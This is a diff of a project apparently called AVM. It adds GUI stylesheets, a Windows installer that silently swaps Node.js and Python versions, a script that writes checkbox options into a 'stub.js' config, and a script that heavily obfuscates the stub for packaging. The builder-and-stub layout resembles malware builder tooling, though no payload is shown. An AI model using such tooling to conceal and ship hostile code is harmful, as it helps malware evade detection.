|
||||
color: #fff;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
input[type="text"].locked::placeholder {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
input[type="text"]:disabled::placeholder {
|
||||
content: "Locked";
|
||||
}
|
||||
|
||||
.help-button {
|
||||
position: fixed;
|
||||
top: 25px;
|
||||
right: 25px;
|
||||
z-index: 1000;
|
||||
pointer-events: auto;
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
padding: 8px 20px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
font-weight: 600;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
font-size: 14px;
|
||||
text-decoration: none;
|
||||
user-select: none;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.help-button:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.error-bubble {
|
||||
position: absolute;
|
||||
bottom: 110%;
|
||||
left: 50%;
|
||||
transform: translateX(-50%) translateY(10px);
|
||||
background: #ff4757;
|
||||
color: white;
|
||||
padding: 5px 12px;
|
||||
border-radius: 12px;
|
||||
font-size: 12px;
|
||||
white-space: nowrap;
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: all 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55);
|
||||
z-index: 10;
|
||||
box-shadow: 0 4px 10px rgba(255, 71, 87, 0.3);
|
||||
}
|
||||
|
||||
.error-bubble::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 100%;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
border-width: 6px;
|
||||
border-style: solid;
|
||||
border-color: #ff4757 transparent transparent transparent;
|
||||
}
|
||||
|
||||
.error-bubble.show {
|
||||
opacity: 1;
|
||||
transform: translateX(-50%) translateY(0);
|
||||
}
|
||||
@@ -0,0 +1,338 @@
|
||||
/* Modal Overlay */
|
||||
.modal {
|
||||
display: none;
|
||||
position: fixed;
|
||||
z-index: 2000;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(10, 15, 30, 0.4);
|
||||
/* Overlay très transparent */
|
||||
backdrop-filter: blur(8px);
|
||||
animation: fadeIn 0.2s ease;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.modal.active {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
/* Modal Box - True Glassmorphism */
|
||||
.modal-content.glass-effect {
|
||||
background: rgba(15, 20, 35, 0.75);
|
||||
/* TRANSPARENT - laisse passer le fond */
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
/* Bordure très subtile */
|
||||
box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.37);
|
||||
backdrop-filter: blur(20px) saturate(180%);
|
||||
/* Flou intense + saturation */
|
||||
-webkit-backdrop-filter: blur(20px) saturate(180%);
|
||||
border-radius: 16px;
|
||||
width: 780px;
|
||||
max-width: 95%;
|
||||
padding: 0;
|
||||
animation: zoomIn 0.2s cubic-bezier(0.16, 1, 0.3, 1);
|
||||
color: #e2e8f0;
|
||||
font-family: 'Segoe UI', sans-serif;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Header */
|
||||
.modal-header {
|
||||
padding: 18px 30px;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
/* Très léger */
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
|
||||
}
|
||||
|
||||
.modal-header h2 {
|
||||
margin: 0;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 600;
|
||||
color: #ffffff;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.5px;
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.close-modal {
|
||||
font-size: 20px;
|
||||
color: #94a3b8;
|
||||
cursor: pointer;
|
||||
transition: 0.2s;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.close-modal:hover {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
/* Layout */
|
||||
.modal-body {
|
||||
padding: 25px 35px 30px 35px;
|
||||
display: grid;
|
||||
grid-template-columns: 1.15fr 0.85fr;
|
||||
gap: 40px;
|
||||
min-height: 400px;
|
||||
}
|
||||
|
||||
/* Gauche */
|
||||
.metadata-section {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: space-between;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.input-group {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
.input-group label {
|
||||
font-size: 0.75rem;
|
||||
color: #94a3b8;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.input-group input {
|
||||
width: 100%;
|
||||
background: rgba(30, 40, 60, 0.4);
|
||||
/* TRANSPARENT */
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
padding: 0 12px;
|
||||
border-radius: 8px;
|
||||
color: #e2e8f0;
|
||||
font-size: 0.85rem;
|
||||
transition: 0.2s;
|
||||
height: 38px;
|
||||
line-height: 38px;
|
||||
backdrop-filter: blur(10px);
|
||||
/* Flou sur les inputs aussi */
|
||||
}
|
||||
|
||||
.input-group input:focus {
|
||||
outline: none;
|
||||
border-color: rgba(59, 130, 246, 0.5);
|
||||
background: rgba(30, 40, 60, 0.6);
|
||||
color: #fff;
|
||||
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
|
||||
}
|
||||
|
||||
.input-group input::placeholder {
|
||||
color: rgba(148, 163, 184, 0.5);
|
||||
}
|
||||
|
||||
/* Droite */
|
||||
.icon-column {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 20px;
|
||||
height: 100%;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
/* Preview Box - Glass Card */
|
||||
.preview-box {
|
||||
background: rgba(30, 40, 60, 0.3);
|
||||
/* Très transparent */
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 12px;
|
||||
padding: 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 15px;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
|
||||
.current-icon-wrapper {
|
||||
width: 58px;
|
||||
height: 58px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.current-icon {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
filter: drop-shadow(0 2px 5px rgba(0, 0, 0, 0.3));
|
||||
}
|
||||
|
||||
.file-name-display {
|
||||
font-size: 0.75rem;
|
||||
color: #60a5fa;
|
||||
margin: 0;
|
||||
text-align: center;
|
||||
max-width: 150px;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.icon-actions {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.icon-btn {
|
||||
flex: 1;
|
||||
background: rgba(30, 40, 60, 0.4);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
padding: 8px;
|
||||
border-radius: 6px;
|
||||
color: #cbd5e1;
|
||||
cursor: pointer;
|
||||
font-size: 0.75rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 6px;
|
||||
font-weight: 500;
|
||||
transition: 0.2s;
|
||||
height: 32px;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
|
||||
.icon-btn:hover {
|
||||
background: rgba(30, 40, 60, 0.6);
|
||||
border-color: rgba(255, 255, 255, 0.2);
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
/* Icons Grid - Glass Cards */
|
||||
.predefined-section h3 {
|
||||
font-size: 0.65rem;
|
||||
color: #64748b;
|
||||
margin: 5px 0 10px 0;
|
||||
font-weight: 700;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.icon-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(4, 1fr);
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.grid-item {
|
||||
background: rgba(30, 40, 60, 0.35);
|
||||
/* Transparent */
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 8px;
|
||||
aspect-ratio: 1;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
cursor: pointer;
|
||||
transition: 0.2s;
|
||||
height: 48px;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
|
||||
.grid-item:hover {
|
||||
background: rgba(30, 40, 60, 0.5);
|
||||
border-color: rgba(255, 255, 255, 0.15);
|
||||
transform: translateY(-1px);
|
||||
}
|
||||
|
||||
.grid-item.selected {
|
||||
border-color: rgba(59, 130, 246, 0.6);
|
||||
background: rgba(59, 130, 246, 0.15);
|
||||
box-shadow: 0 0 20px rgba(59, 130, 246, 0.2);
|
||||
}
|
||||
|
||||
.grid-item img {
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
/* Action Container */
|
||||
.action-container {
|
||||
margin-top: auto;
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
}
|
||||
|
||||
.btn-apply {
|
||||
background: rgba(16, 185, 129, 0.9);
|
||||
/* Vert avec légère transparence */
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
color: #ffffff;
|
||||
padding: 0;
|
||||
height: 40px;
|
||||
width: 100%;
|
||||
border-radius: 6px;
|
||||
font-size: 0.9rem;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 8px;
|
||||
transition: 0.2s;
|
||||
box-shadow: 0 4px 15px rgba(16, 185, 129, 0.3);
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
|
||||
.btn-apply:hover {
|
||||
background: rgba(5, 150, 105, 0.95);
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 6px 20px rgba(16, 185, 129, 0.4);
|
||||
}
|
||||
|
||||
@keyframes fadeIn {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes zoomIn {
|
||||
from {
|
||||
transform: scale(0.98);
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
to {
|
||||
transform: scale(1);
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Loading Animation */
|
||||
@keyframes spin {
|
||||
from {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.btn-apply.loading {
|
||||
background: rgba(16, 185, 129, 0.5) !important;
|
||||
cursor: wait !important;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.btn-apply.loading i {
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
#notification-container {
|
||||
position: fixed;
|
||||
top: 20px;
|
||||
right: 20px;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.notification {
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
backdrop-filter: blur(10px);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
padding: 15px 20px;
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
min-width: 300px;
|
||||
transform: translateX(120%);
|
||||
transition: transform 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55);
|
||||
pointer-events: auto;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.notification.show {
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.notification.success {
|
||||
background: rgba(46, 204, 113, 0.2);
|
||||
border-color: rgba(46, 204, 113, 0.5);
|
||||
}
|
||||
|
||||
.notification.error {
|
||||
background: rgba(231, 76, 60, 0.2);
|
||||
border-color: rgba(231, 76, 60, 0.5);
|
||||
}
|
||||
|
||||
.notification.info {
|
||||
background: rgba(52, 152, 219, 0.2);
|
||||
border-color: rgba(52, 152, 219, 0.5);
|
||||
}
|
||||
|
||||
.notification i {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.notification-title {
|
||||
font-weight: 600;
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
.notification-message {
|
||||
font-size: 13px;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
@keyframes dots {
|
||||
0%, 20% { content: "."; }
|
||||
40% { content: ".."; }
|
||||
60%, 100% { content: "..."; }
|
||||
}
|
||||
|
||||
.loading-dots::after {
|
||||
content: ".";
|
||||
animation: dots 1.5s steps(1, end) infinite;
|
||||
display: inline-block;
|
||||
width: 1em;
|
||||
text-align: left;
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
html,
|
||||
body {
|
||||
background-color: #0b0d17 !important;
|
||||
}
|
||||
|
||||
.container {
|
||||
animation: slideInFade 0.3s cubic-bezier(0.2, 0.8, 0.2, 1) forwards;
|
||||
opacity: 0;
|
||||
will-change: transform, opacity;
|
||||
}
|
||||
|
||||
@keyframes slideInFade {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(8px);
|
||||
}
|
||||
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translateY(0);
|
||||
}
|
||||
}
|
||||
|
||||
.list-item a {
|
||||
transition: transform 0.2s cubic-bezier(0.4, 0, 0.2, 1), background 0.3s ease;
|
||||
}
|
||||
|
||||
.list-item a:active {
|
||||
transform: scale(0.96);
|
||||
}
|
||||
|
||||
.list-item a:hover i {
|
||||
filter: drop-shadow(0 0 5px rgba(255, 255, 255, 0.5));
|
||||
}
|
||||
|
||||
.log-message {
|
||||
display: block;
|
||||
opacity: 0;
|
||||
transform: translateX(-15px);
|
||||
animation: logFadeIn 0.35s cubic-bezier(0.4, 0, 0.2, 1) forwards;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
|
||||
@keyframes logFadeIn {
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translateX(0);
|
||||
}
|
||||
}
|
||||
|
||||
/* Dots Animation for Finalizing */
|
||||
.dots::after {
|
||||
content: '';
|
||||
animation: dots-anim 1.5s steps(4, end) infinite;
|
||||
}
|
||||
|
||||
@keyframes dots-anim {
|
||||
|
||||
0%,
|
||||
20% {
|
||||
content: '';
|
||||
}
|
||||
|
||||
40% {
|
||||
content: '.';
|
||||
}
|
||||
|
||||
60% {
|
||||
content: '..';
|
||||
}
|
||||
|
||||
80%,
|
||||
100% {
|
||||
content: '...';
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 48 KiB |
|
After Width: | Height: | Size: 67 KiB |
|
After Width: | Height: | Size: 53 KiB |
|
After Width: | Height: | Size: 64 KiB |
|
After Width: | Height: | Size: 91 KiB |
|
After Width: | Height: | Size: 36 KiB |
|
After Width: | Height: | Size: 68 KiB |
|
After Width: | Height: | Size: 58 KiB |
@@ -0,0 +1,198 @@
|
||||
@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
title AVM INSTALLER - STRICT COMPATIBILITY CHECK
|
||||
|
||||
:: Enable ANSI Escapes
|
||||
for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do set "ESC=%%b"
|
||||
|
||||
:: Color Palette
|
||||
set "C_RESET=%ESC%[0m"
|
||||
set "C_BOLD=%ESC%[1m"
|
||||
set "C_CYAN=%ESC%[36m"
|
||||
set "C_BLUE=%ESC%[34m"
|
||||
set "C_GREEN=%ESC%[32m"
|
||||
set "C_RED=%ESC%[31m"
|
||||
set "C_YELLOW=%ESC%[33m"
|
||||
set "C_GRAY=%ESC%[90m"
|
||||
set "C_WHITE=%ESC%[97m"
|
||||
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: --- CONFIGURATION ---
|
||||
set "NODE_REQ=v22.11.0"
|
||||
set "NODE_URL=https://nodejs.org/dist/v22.11.0/node-v22.11.0-x64.msi"
|
||||
set "NODE_INSTALLER=node-v22.11.0-x64.msi"
|
||||
|
||||
set "PYTHON_REQ=3.10.0"
|
||||
set "PYTHON_URL=https://www.python.org/ftp/python/3.10.0/python-3.10.0-amd64.exe"
|
||||
set "PYTHON_INSTALLER=python-3.10.0-amd64.exe"
|
||||
|
||||
set "NODE_GOOD=0"
|
||||
set "PYTHON_GOOD=0"
|
||||
set "NODE_STATUS=UNKNOWN"
|
||||
set "PYTHON_STATUS=UNKNOWN"
|
||||
|
||||
:INIT
|
||||
cls
|
||||
echo %C_GRAY%
|
||||
echo AVM INSTALLER ^& ENVIRONMENT FIX v2.1
|
||||
echo %C_RESET%
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
echo [%C_BLUE%i%C_RESET%] Checking system environment...
|
||||
|
||||
:: --- 1. CHECK NODE.JS ---
|
||||
node -v >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
set "NODE_STATUS=%C_RED%NOT INSTALLED%C_RESET%"
|
||||
) else (
|
||||
for /f %%i in ('node -v') do set CURRENT_NODE=%%i
|
||||
if "!CURRENT_NODE!"=="%NODE_REQ%" (
|
||||
set "NODE_STATUS=%C_GREEN%OK [!CURRENT_NODE!]%C_RESET%"
|
||||
set "NODE_GOOD=1"
|
||||
) else (
|
||||
set "NODE_STATUS=%C_RED%MISMATCH [!CURRENT_NODE!]%C_RESET%"
|
||||
)
|
||||
)
|
||||
|
||||
:: --- 2. CHECK PYTHON ---
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
set "PYTHON_STATUS=%C_RED%NOT INSTALLED%C_RESET%"
|
||||
) else (
|
||||
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set CURRENT_PYTHON=%%i
|
||||
if "!CURRENT_PYTHON!"=="%PYTHON_REQ%" (
|
||||
set "PYTHON_STATUS=%C_GREEN%OK [!CURRENT_PYTHON!]%C_RESET%"
|
||||
set "PYTHON_GOOD=1"
|
||||
) else (
|
||||
set "PYTHON_STATUS=%C_RED%MISMATCH [!CURRENT_PYTHON!]%C_RESET%"
|
||||
)
|
||||
)
|
||||
|
||||
:: --- DISPLAY STATUS TABLE ---
|
||||
echo.
|
||||
echo COMPONENT REQUIRED CURRENT STATUS
|
||||
echo %C_BLUE%------------- -------------- ---------------------------------%C_RESET%
|
||||
|
||||
echo Node.js %NODE_REQ% !NODE_STATUS!
|
||||
echo Python %PYTHON_REQ% !PYTHON_STATUS!
|
||||
echo %C_BLUE%------------- -------------- ---------------------------------%C_RESET%
|
||||
echo.
|
||||
|
||||
:: --- DECISION LOGIC ---
|
||||
if "!NODE_GOOD!"=="1" if "!PYTHON_GOOD!"=="1" (
|
||||
echo.
|
||||
echo [%C_GREEN%V%C_RESET%] %C_BOLD%SUCCESS:%C_RESET% All system requirements are met.
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
echo.
|
||||
echo [%C_BLUE%i%C_RESET%] Proceeding with installation...
|
||||
timeout /t 2 >nul
|
||||
goto :INSTALL_PROJECT
|
||||
)
|
||||
|
||||
:: --- USER CONSENT PROMPT ---
|
||||
echo [%C_YELLOW%*%C_RESET%] %C_BOLD%WARNING:%C_RESET% Incompatible versions detected!
|
||||
echo.
|
||||
echo The Installer can perform an %C_CYAN%AUTO-FIX%C_RESET%:
|
||||
echo 1. %C_RED%UNINSTALL%C_RESET% old versions (Silently)
|
||||
echo 2. %C_GREEN%INSTALL%C_RESET% correct versions (Silently)
|
||||
echo.
|
||||
set /p "USER_CONSENT= %C_BOLD%Proceed with AUTO-FIX? (Y/N):%C_RESET% "
|
||||
|
||||
if /i not "!USER_CONSENT!"=="Y" (
|
||||
echo.
|
||||
echo [%C_RED%X%C_RESET%] %C_BOLD%ABORTED:%C_RESET% No changes were made.
|
||||
pause
|
||||
exit /b
|
||||
)
|
||||
|
||||
:: --- AUTO-REMEDIATION START ---
|
||||
cls
|
||||
echo.
|
||||
echo %C_BOLD%STEP 1: Cleaning Environment%C_RESET%
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
|
||||
if "!NODE_GOOD!"=="0" (
|
||||
echo [%C_YELLOW%*%C_RESET%] Removing old Node.js versions...
|
||||
wmic product where "Name like 'Node.js%%'" call uninstall /nointeractive >nul 2>&1
|
||||
echo [%C_GREEN%V%C_RESET%] Node.js cleanup complete.
|
||||
)
|
||||
|
||||
if "!PYTHON_GOOD!"=="0" (
|
||||
echo [%C_YELLOW%*%C_RESET%] Removing old Python versions...
|
||||
wmic product where "Name like 'Python 3%%'" call uninstall /nointeractive >nul 2>&1
|
||||
echo [%C_GREEN%V%C_RESET%] Python cleanup complete.
|
||||
)
|
||||
|
||||
echo.
|
||||
echo %C_BOLD%STEP 2: Installing Dependencies%C_RESET%
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
|
||||
if "!NODE_GOOD!"=="0" (
|
||||
echo [%C_BLUE%i%C_RESET%] Downloading Node.js %C_WHITE%%NODE_REQ%%C_RESET%...
|
||||
powershell -Command "Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_INSTALLER%'"
|
||||
|
||||
if exist "%NODE_INSTALLER%" (
|
||||
echo [%C_YELLOW%*%C_RESET%] Installing Node.js silently...
|
||||
start /wait msiexec /i %NODE_INSTALLER% /qn /norestart
|
||||
echo [%C_GREEN%V%C_RESET%] Node.js installed successfully.
|
||||
) else (
|
||||
echo [%C_RED%X%C_RESET%] %C_BOLD%ERROR:%C_RESET% Failed to download Node.js installer.
|
||||
)
|
||||
)
|
||||
|
||||
if "!PYTHON_GOOD!"=="0" (
|
||||
echo [%C_BLUE%i%C_RESET%] Downloading Python %C_WHITE%%PYTHON_REQ%%C_RESET%...
|
||||
powershell -Command "Invoke-WebRequest -Uri '%PYTHON_URL%' -OutFile '%PYTHON_INSTALLER%'"
|
||||
|
||||
if exist "%PYTHON_INSTALLER%" (
|
||||
echo [%C_YELLOW%*%C_RESET%] Installing Python silently (All Users + PATH)...
|
||||
start /wait %PYTHON_INSTALLER% /quiet InstallAllUsers=1 PrependPath=1 Include_test=0
|
||||
echo [%C_GREEN%V%C_RESET%] Python installed successfully.
|
||||
) else (
|
||||
echo [%C_RED%X%C_RESET%] %C_BOLD%ERROR:%C_RESET% Failed to download Python installer.
|
||||
)
|
||||
)
|
||||
|
||||
echo.
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
echo [%C_GREEN%V%C_RESET%] %C_BOLD%REPAIR COMPLETE%C_RESET%
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
echo.
|
||||
echo [%C_BLUE%i%C_RESET%] Please restart the script to verify changes and continue installation.
|
||||
pause
|
||||
exit /b
|
||||
|
||||
:INSTALL_PROJECT
|
||||
echo.
|
||||
echo %C_BOLD%STEP 3: Installing Project Dependencies%C_RESET%
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
|
||||
set "CURRENT_DIR=%~dp0"
|
||||
|
||||
:: 1. STUB
|
||||
if exist "%CURRENT_DIR%stub" (
|
||||
echo [%C_BLUE%i%C_RESET%] Installing STUB dependencies...
|
||||
cd /d "%CURRENT_DIR%stub"
|
||||
call npm i
|
||||
)
|
||||
|
||||
:: 2. GUI
|
||||
if exist "%CURRENT_DIR%gui" (
|
||||
echo [%C_BLUE%i%C_RESET%] Installing GUI dependencies...
|
||||
cd /d "%CURRENT_DIR%gui"
|
||||
call npm install --save-dev electron-builder
|
||||
)
|
||||
|
||||
:: 3. BUILD
|
||||
if exist "%CURRENT_DIR%build" (
|
||||
echo [%C_BLUE%i%C_RESET%] Installing BUILD dependencies...
|
||||
cd /d "%CURRENT_DIR%build"
|
||||
call npm install pkg --g
|
||||
call npm i
|
||||
)
|
||||
|
||||
echo.
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
echo [%C_GREEN%V%C_RESET%] %C_BOLD%INSTALLATION COMPLETE%C_RESET%
|
||||
echo %C_GRAY%------------------------------------------------------------%C_RESET%
|
||||
pause
|
||||
@@ -0,0 +1,8 @@
|
||||
@echo off
|
||||
|
||||
set "CURRENT_DIR=%CD%"
|
||||
cd /d "%CURRENT_DIR%\gui"
|
||||
|
||||
cd /d "%CURRENT_DIR%\gui"
|
||||
start /min cmd /c "npm start"
|
||||
exit
|
||||
@@ -0,0 +1,63 @@
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const checkboxFilePath = path.join(__dirname, '..', 'gui', 'src', 'checkbox.json');
|
||||
const stubFilePath = path.join(__dirname, 'stub.js');
|
||||
|
||||
const readJsonFile = (filePath, callback) => {
|
||||
fs.readFile(filePath, 'utf8', (err, data) => {
|
||||
if (err) {
|
||||
callback(err, null);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const jsonData = JSON.parse(data);
|
||||
callback(null, jsonData);
|
||||
} catch (parseError) {
|
||||
callback(parseError, null);
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
readJsonFile(checkboxFilePath, (err, jsonData) => {
|
||||
if (err) {
|
||||
console.error('Error reading or parsing checkbox.json file:', err);
|
||||
return;
|
||||
}
|
||||
|
||||
fs.readFile(stubFilePath, 'utf8', (err, stubData) => {
|
||||
if (err) {
|
||||
console.error('Error reading stub.js file:', err);
|
||||
return;
|
||||
}
|
||||
|
||||
console.log('Updating CONFIG object in stub.js...');
|
||||
|
||||
const configPattern = /const CONFIG = \{([\s\S]*?)\};/;
|
||||
const match = stubData.match(configPattern);
|
||||
|
||||
if (match) {
|
||||
let configBlock = match[1];
|
||||
|
||||
Object.keys(jsonData).forEach(key => {
|
||||
const val = jsonData[key];
|
||||
const keyPattern = new RegExp(`(${key}:\\s*)(true|false)`, 'i');
|
||||
|
||||
if (keyPattern.test(configBlock)) {
|
||||
console.log(`Setting ${key} to ${val}`);
|
||||
configBlock = configBlock.replace(keyPattern, `$1${val}`);
|
||||
}
|
||||
});
|
||||
|
||||
const newStubData = stubData.replace(configPattern, `const CONFIG = {${configBlock}};`);
|
||||
|
||||
fs.writeFile(stubFilePath, newStubData, 'utf8', (err) => {
|
||||
if (err) {
|
||||
console.error('Error writing to stub.js:', err);
|
||||
return;
|
||||
}
|
||||
console.log('stub.js CONFIG has been updated successfully.');
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,68 @@
|
||||
const JsConfuser = require("js-confuser");
|
||||
const fs = require('fs');
|
||||
const colors = require('colors');
|
||||
const path = require('path');
|
||||
const { exec } = require('child_process');
|
||||
|
||||
const inputFile = "./node_modules/input.js";
|
||||
|
||||
if (!fs.existsSync(inputFile)) {
|
||||
console.error('❌ input.js file not found in node_modules/');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
try {
|
||||
const file = fs.readFileSync(inputFile, "utf-8");
|
||||
|
||||
JsConfuser.obfuscate(file, {
|
||||
"calculator": true,
|
||||
"compact": true,
|
||||
"controlFlowFlattening": 1.0,
|
||||
"deadCode": 0.9,
|
||||
"dispatcher": 1.0,
|
||||
"duplicateLiteralsRemoval": 1.0,
|
||||
"globalConcealing": true,
|
||||
"hexadecimalNumbers": true,
|
||||
"identifierGenerator": "mangled",
|
||||
"minify": true,
|
||||
"movedDeclarations": true,
|
||||
"objectExtraction": true,
|
||||
"opaquePredicates": 1.0,
|
||||
"preset": "high",
|
||||
"renameGlobals": true,
|
||||
"renameVariables": true,
|
||||
"shuffle": "hash",
|
||||
"stringConcealing": true,
|
||||
"stringSplitting": 1.0,
|
||||
"target": "node"
|
||||
}).then((obfuscatedCode) => {
|
||||
console.log('✅ Code obfuscated with JsConfuser');
|
||||
|
||||
const targetFolderName = '../build';
|
||||
const fileName = 'index.js';
|
||||
const targetFolder = path.join(__dirname, targetFolderName);
|
||||
|
||||
if (!fs.existsSync(targetFolder)) {
|
||||
fs.mkdirSync(targetFolder, { recursive: true });
|
||||
}
|
||||
|
||||
const targetFile = path.join(targetFolder, fileName);
|
||||
|
||||
if (typeof obfuscatedCode !== 'string') {
|
||||
console.error('❌ Error: The obfuscated code is not a string');
|
||||
console.log('Type received:', typeof obfuscatedCode);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
fs.writeFileSync(targetFile, obfuscatedCode, { encoding: 'utf-8' });
|
||||
console.log('✅ Final file written to build/index.js');
|
||||
|
||||
}).catch((error) => {
|
||||
console.error('❌ Error during JsConfuser obfuscation:', error);
|
||||
process.exit(1);
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
console.error('❌ Error reading input.js file:', error);
|
||||
process.exit(1);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"dependencies": {
|
||||
"archiver": "^7.0.1",
|
||||
"axios": "^1.13.2",
|
||||
